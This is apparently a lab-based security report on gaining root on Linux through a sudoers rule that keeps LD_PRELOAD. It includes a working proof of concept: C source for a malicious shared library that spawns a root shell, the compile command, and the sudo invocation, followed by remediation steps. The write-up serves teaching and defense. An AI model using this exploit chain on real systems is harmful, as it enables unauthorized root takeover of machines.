

Technical Security Report:

Privilege Escalation via Shared Library Injection

Target Hostname	NIX02	Operating System	Ubuntu 18.04.6 LTS (Bionic)
Kernel Version	4.15.0-76-generic #86-Ubuntu SMP	Classification	Tactics, Techniques, and Procedures (TTP) Report
Vulnerability Type	Execution Flow Hijacking (Dynamic Linker Hijacking)	Severity	High (Local Root Compromise)

1. Executive Summary

This report outlines a critical local privilege escalation vector identified on the target host `NIX02`. The security breakdown involves a combination of custom `sudo` permissions combined with an environment variable retention directive (`env_keep+=LD_PRELOAD`).

By taking advantage of the Linux dynamic linker's preloading architecture, an unprivileged user (e.g., `htb-student` or `daniel.carter`) given specific `sudo` execution permissions can bypass restriction parameters and execute arbitrary instructions in a root security context. This completely circumvents restrictions intended by absolute binary pathways, leading to immediate system-level compromise.

2. Technical Foundations: Shared Libraries in Linux

In modern Linux environments, programs heavily rely on modular compiled code routines to perform common tasks without reinventing or duplicating core functionality. These collections are known as libraries and fall into two primary structures:

- **Static Libraries (`.a`):** These routines are directly compiled into the target program binary at compile time. They become an immutable part of the final executable asset, increasing program size but ensuring complete self-reliance.
- **Dynamically Linked Shared Object Libraries (`.so`):** These are standalone compiled binaries mapped dynamically into a application's memory space when the application starts up or runs. Because dynamic libraries exist independently on the filesystem, they can be modified or substituted to alter the application's runtime instructions without modifying the application itself.

Dynamic Linker Search Strategy

When an executable requiring shared components initializes, the system's dynamic linker (e.g., `ld.so`) searches for these components in a specific order:

1. The hardcoded `-rpath` or `-rpath-link` attributes embedded inside the executable binary during compilation.
2. The runtime location arrays declared within the user's active `LD_LIBRARY_PATH` or `LD_RUN_PATH` environment variables.
3. System-wide optimized path declarations configured via the `/etc/ld.so.conf` structure.
4. Standard root system fallback directory paths, primarily `/lib` and `/usr/lib`.

The shared objects mapping for any given binary can be verified using the `ldd` utility, as demonstrated below for the standard `/bin/ls` command:

```
htb_student@NIX02:~$ ldd /bin/ls
linux-vdso.so.1 => (0x00007fff03bc7000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f4186288000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4185ebe000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f4185c4e000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4185a4a000)
/lib64/ld-linux-x86-64.so.2 (0x00007f41864aa000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f418582d000)
```

3. The Mechanism of the LD_PRELOAD Vulnerability

The `LD_PRELOAD` environmental parameter acts as a high-priority directive to the dynamic linker. When set, the dynamic linker loads the specified shared object library *before* any other libraries, allowing its custom functions to override or hook standard system calls seamlessly.

Security Risk Isolation: Ordinarily, the dynamic linker automatically ignores `LD_PRELOAD` when executing binaries with elevated privileges (such as SUID binaries or programs invoked via `sudo`) to prevent low-privileged users from injecting code into privileged execution streams.

However, a critical configuration flaw occurs when systems explicitly retain this variable inside the `/etc/sudoers` allocation file via the following rule:

```
Matching Defaults entries for user on NIX02:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/
    bin,
    env_keep+=LD_PRELOAD
```

The `env_keep+=LD_PRELOAD` entry instructs `sudo` to preserve the user's custom `LD_PRELOAD` environment definition during the security context transition to `root`. As a result, *any* program permitted to run via `sudo` becomes a vector for arbitrary code execution.

4. Proof of Concept & Exploitation Flow

Consider a configuration where a user possesses explicit rights to execute an administrative task with `NOPASSWD`, such as:

```
User may run the following commands on NIX02:
(root) NOPASSWD: /usr/sbin/apache2 restart [or /usr/bin/openssl]
```

Even if the binary itself is fully updated and lacks built-in functions to drop a shell (i.e., it is not listed on GTFOBins), the `LD_PRELOAD` preservation permits instant privilege hijacking.

Step 1: Constructing the Malicious Shared Object

An attacker writes a minimal C source code file designed to catch the execution process initialization via the `_init()` constructor routine. This function clears the trace environment and explicitly executes a command shell after matching the User ID (UID) and Group ID (GID) parameters to root (0).

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD"); // Clear variable to avoid recursive execution loops
    setgid(0);               // Establish Root Group Identity
    setuid(0);               // Establish Root User Identity
    system("/bin/bash");     // Execute Privileged Shell
}
```

Step 2: Library Compilation

The code is compiled with the Position Independent Code flags (`-fPIC`) into a shared object module (`-shared`), omitting standard binary bootstrap entries (`-nostartfiles`):

```
htb_student@NIX02:~$ gcc -fPIC -shared -o /tmp/root.so root.c -nostartfiles
```

Step 3: Triggering Execution Flow Hooking

By executing the permitted `sudo` command while explicitly defining the `LD_PRELOAD` environment variable pointing to the newly generated library payload, the binary triggers the custom constructor routine under a root context before launching its own logic:

```
htb_student@NIX02:~$ sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
id
uid=0(root) gid=0(root) groups=0(root)
```

5. Remediation & Defenses

To comprehensively secure the platform against dynamic library execution hijacking, administrators should implement the following engineering controls immediately:

1. Strip Dangerous Environment Retention Policies: Review the `/etc/sudoers` file using the `visudo` utility. Locate and completely remove any references to `LD_PRELOAD` within `env_keep` statements.

2. Restrict Absolute Binary Permissions: Limit the use of `NOPASSWD` directives to highly targeted, non-interactive processes, ensuring that standard system hygiene prevents users from altering ambient variables during elevation steps.